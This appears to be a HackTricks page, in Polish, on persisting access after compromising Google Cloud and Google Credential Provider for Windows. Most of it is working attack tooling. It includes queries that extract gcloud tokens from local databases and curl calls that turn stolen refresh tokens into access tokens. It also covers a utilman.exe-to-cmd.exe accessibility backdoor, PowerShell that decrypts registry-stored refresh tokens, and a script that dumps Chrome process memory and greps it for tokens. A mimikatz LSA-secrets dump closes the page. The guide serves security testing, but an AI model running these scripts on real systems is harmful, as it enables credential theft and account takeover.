GCP - Non-svc Persistance

Support HackTricks

Te techniki są przydatne, gdy w jakiś sposób skompromitujesz dane uwierzytelniające GCP lub maszynę działającą w środowisku GCP.

Token Hijacking

Authenticated User Tokens

Aby uzyskać aktualny token użytkownika, możesz uruchomić:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Sprawdź na tej stronie, jak bezpośrednio użyć tego tokena za pomocą gcloud:

Aby uzyskać szczegóły dotyczące generowania nowego tokena dostępu, uruchom:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Możliwe jest również znalezienie tokenów odświeżania w $HOME/.config/gcloud/application_default_credentials.json oraz w $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Aby uzyskać nowy odświeżony token dostępu za pomocą tokena odświeżania, identyfikatora klienta i tajnego klucza klienta, uruchom:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Ważność tokenów odświeżania można zarządzać w Admin > Security > Google Cloud session control, a domyślnie jest ustawiona na 16h, chociaż można ustawić, aby nigdy nie wygasały:

Auth flow

Przepływ uwierzytelniania podczas korzystania z czegoś takiego jak gcloud auth login otworzy okno w przeglądarce, a po zaakceptowaniu wszystkich zakresów przeglądarka wyśle żądanie takie jak to do otwartego portu http przez narzędzie:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Następnie gcloud użyje stanu i kodu z pewnym zakodowanym na sztywno client_id (32555940559.apps.googleusercontent.com) oraz client_secret (ZmssLNjJy2998hD4CTg2ejr2), aby uzyskać ostateczne dane tokena odświeżania.

Zauważ, że komunikacja z localhostem odbywa się w HTTP, więc możliwe jest przechwycenie danych, aby uzyskać token odświeżania, jednak te dane są ważne tylko 1 raz, więc byłoby to bezużyteczne, łatwiej jest po prostu odczytać token odświeżania z pliku.

Zakresy OAuth

Wszystkie zakresy Google można znaleźć pod adresem https://developers.google.com/identity/protocols/oauth2/scopes lub uzyskać je, wykonując:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

Można zobaczyć, które zakresy aplikacja, którą gcloud używa do uwierzytelniania, może obsługiwać za pomocą tego skryptu:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Po jego wykonaniu sprawdzono, że ta aplikacja obsługuje te zakresy:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

to jest interesujące, jak ta aplikacja obsługuje zakres drive, co może pozwolić użytkownikowi na eskalację z GCP do Workspace, jeśli atakujący zdoła zmusić użytkownika do wygenerowania tokena z tym zakresem.

Sprawdź, jak to wykorzystać tutaj.

Konta serwisowe

Podobnie jak w przypadku uwierzytelnionych użytkowników, jeśli uda ci się skompromentować plik klucza prywatnego konta serwisowego, będziesz mógł uzyskać do niego dostęp zazwyczaj tak długo, jak chcesz. Jednak jeśli ukradniesz token OAuth konta serwisowego, może to być jeszcze bardziej interesujące, ponieważ, nawet jeśli domyślnie te tokeny są użyteczne tylko przez godzinę, jeśli ofiara usunie prywatny klucz API, token OAuth będzie nadal ważny aż do wygaśnięcia.

Metadane

Oczywiście, dopóki jesteś w maszynie działającej w środowisku GCP, będziesz mógł uzyskać dostęp do konta serwisowego przypisanego do tej maszyny, kontaktując się z punktem końcowym metadanych (zauważ, że tokeny OAuth, do których możesz uzyskać dostęp w tym punkcie końcowym, są zazwyczaj ograniczone przez zakresy).

Remediacje

Niektóre remediacje dla tych technik są wyjaśnione w https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

GCPW - Google Credential Provider for Windows

To jest jednolity system logowania, który zapewnia Google Workspaces, aby użytkownicy mogli logować się na swoich komputerach z systemem Windows, używając swoich poświadczeń Workspace. Co więcej, to będzie przechowywać tokeny do uzyskania dostępu do Google Workspace w jakimś miejscu na komputerze.

GCPW - MitM

Gdy użytkownik uzyskuje dostęp do komputera z systemem Windows zsynchronizowanego z Google Workspace za pośrednictwem GCPW, będzie musiał wypełnić wspólny formularz logowania. Ten formularz logowania zwróci kod OAuth, który komputer wymieni na token odświeżania w żądaniu takim jak:

POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome

Nowe linie zostały dodane, aby poprawić czytelność.

Możliwe było przeprowadzenie ataku MitM, instalując Proxifier na komputerze, nadpisując binarny plik utilman.exe plikiem cmd.exe i uruchamiając funkcje ułatwień dostępu na stronie logowania Windows, co uruchomi CMD, z którego można uruchomić i skonfigurować Proxifier. Nie zapomnij zablokować ruchu QUICK UDP w Proxifier, aby zredukować go do komunikacji TCP, dzięki czemu będziesz mógł go zobaczyć.

Skonfiguruj również w "Usługi i inni użytkownicy" obie opcje i zainstaluj certyfikat Burp CA w systemie Windows.

Dodatkowo dodanie kluczy enable_verbose_logging = 1 i log_file_path = C:\Public\gcpw.log w HKLM:\SOFTWARE\Google\GCPW pozwala na przechowywanie niektórych logów.

GCPW - Odcisk palca

Możliwe jest sprawdzenie, czy GCPW jest zainstalowane na urządzeniu, sprawdzając, czy istnieje następujący proces lub czy istnieją następujące klucze rejestru:

# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}

W HKCU:\SOFTWARE\Google\Accounts można uzyskać dostęp do adresu e-mail użytkownika oraz zaszyfrowanego refresh token jeśli użytkownik niedawno się zalogował.

W HKLM:\SOFTWARE\Google\GCPW\Users można znaleźć domeny dozwolone do logowania w kluczu domains_allowed, a w podkluczach można znaleźć informacje o użytkowniku, takie jak e-mail, zdjęcie, nazwa użytkownika, czasy życia tokenów, uchwyt tokena...

Uchwyt tokena to token, który zaczyna się od eth. i z którego można wyodrębnić pewne informacje za pomocą zapytania, takiego jak:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response
{
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 12880152
}

Możliwe jest również znalezienie uchwytu tokena dostępu za pomocą żądania takiego jak:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'access_token=<access token>'
# Example response
{
"issued_to": "77185425430.apps.googleusercontent.com",
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 1327,
"access_type": "offline",
"token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}

Afaik nie jest możliwe uzyskanie tokenu odświeżania lub tokenu dostępu z uchwytu tokenu.

Ponadto plik C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse jest plikiem json zawierającym informacje o różnych ustawieniach takich jak enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (czy kilku użytkowników z Workspace może zalogować się na komputerze) oraz validityPeriodDays (liczba dni, przez które użytkownik nie musi ponownie uwierzytelnić się bezpośrednio w Google).

GCPW - Tokeny odświeżania rejestru

W rejestrze HKCU:\SOFTWARE\Google\Accounts może być możliwe znalezienie niektórych kont z refresh_token zaszyfrowanym wewnątrz. Metoda ProtectedData.Unprotect może łatwo to odszyfrować.

Uzyskaj HKCU:\SOFTWARE\Google\Accounts dane i odszyfruj refresh_tokens

```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security

Base registry path

$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

Function to search and decrypt refresh_token values

function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )

Get all values within the current key

$registryKey = Get-Item -Path $keyPath $foundToken = $false

Loop through properties to find refresh_token

foreach ($property in $registryKey.Property) { if ($property -eq "refresh_token") { $foundToken = $true try {

Get the raw bytes of the refresh_token from the registry

$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

Decrypt the bytes using ProtectedData.Unprotect

$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output "Path: $keyPath" Write-Output "Decrypted refresh_token: $decryptedToken" Write-Output "-----------------------------" } catch { Write-Output "Path: $keyPath" Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" Write-Output "-----------------------------" } } }

Recursively process all subkeys

Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }

Start the search from the base key

Get-RegistryKeysAndDecryptTokens -keyPath $baseKey

</details>

Przykład wyjścia:

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI


</div>

Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=FEQxHRRP\_5I), jeśli nie znajdziesz tokena w rejestrze, możliwe jest zmodyfikowanie wartości (lub usunięcie) z **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** i następnym razem, gdy użytkownik uzyska dostęp do komputera, będzie musiał się ponownie zalogować, a **token zostanie zapisany w poprzednim rejestrze**.

### GCPW - Tokeny odświeżania dysku

Plik **`%LocalAppData%\Google\Chrome\User Data\Local State`** przechowuje klucz do odszyfrowania **`refresh_tokens`** znajdujących się w **profilach Google Chrome** użytkownika, takich jak:

* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

Możliwe jest znalezienie pewnego **kodu C#** uzyskującego dostęp do tych tokenów w odszyfrowanej formie w [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).

Ponadto, szyfrowanie można znaleźć w tym kodzie: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216)

Można zaobserwować, że używany jest AESGCM, zaszyfrowany token zaczyna się od **wersji** (**`v10`** w tym czasie), następnie [**ma 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L42), a następnie ma **tekst szyfrowany** z końcowym **mac o długości 16B**.

### GCPW - Zrzucanie tokenów z pamięci procesów

Poniższy skrypt można użyć do **zrzucenia** każdego procesu **Chrome** za pomocą `procdump`, wyodrębnić **ciągi** i następnie **wyszukać** ciągi związane z **tokenami dostępu i odświeżania**. Jeśli Chrome jest połączony z jakąś stroną Google, jakiś **proces będzie przechowywał tokeny odświeżania i/lub dostępu w pamięci!**

<details>

<summary>Zrzut procesów Chrome i wyszukiwanie tokenów</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Show EULA if it wasn't accepted yet for strings
$stringsPath

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

Spróbowałem tego samego z gcpw_extension.exe, ale nie znalazło żadnego tokena.

Z jakiegoś powodu, niektóre wyodrębnione tokeny dostępu nie będą ważne (chociaż niektóre będą). Próbowałem następującego skryptu, aby usunąć znaki jeden po drugim, aby spróbować uzyskać ważny token z zrzutu. Nigdy nie pomogło mi to znaleźć ważnego, ale może się przyda:

Sprawdź token dostępu, usuwając znaki jeden po drugim

```bash #!/bin/bash

Define the initial access token

access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

Define the URL for the request

url="https://www.googleapis.com/oauth2/v1/tokeninfo"

Loop until the token is 20 characters or the response doesn't contain "error_description"

while [ ${#access_token} -gt 20 ]; do

Make the request and capture the response

response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

Check if the response contains "error_description"

if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi

Remove the last character from the token

access_token=${access_token:0:-1}

echo "Token length: ${#access_token}" done

echo "Error: Token invalid or too short"

</details>

### GCPW - Odzyskiwanie hasła w postaci czystego tekstu

Aby wykorzystać GCPW do odzyskania hasła w postaci czystego tekstu, można zrzucić zaszyfrowane hasło z **LSASS** za pomocą **mimikatz**:
```bash
mimikatz_trunk\x64\mimikatz.exe token::elevate lsadump::secrets exit

Następnie wyszukaj sekret taki jak Chrome-GCPW-<sid> jak na obrazku:

Następnie, z tokenem dostępu o zakresie https://www.google.com/accounts/OAuthLogin, możliwe jest zażądanie prywatnego klucza do odszyfrowania hasła:

Last updated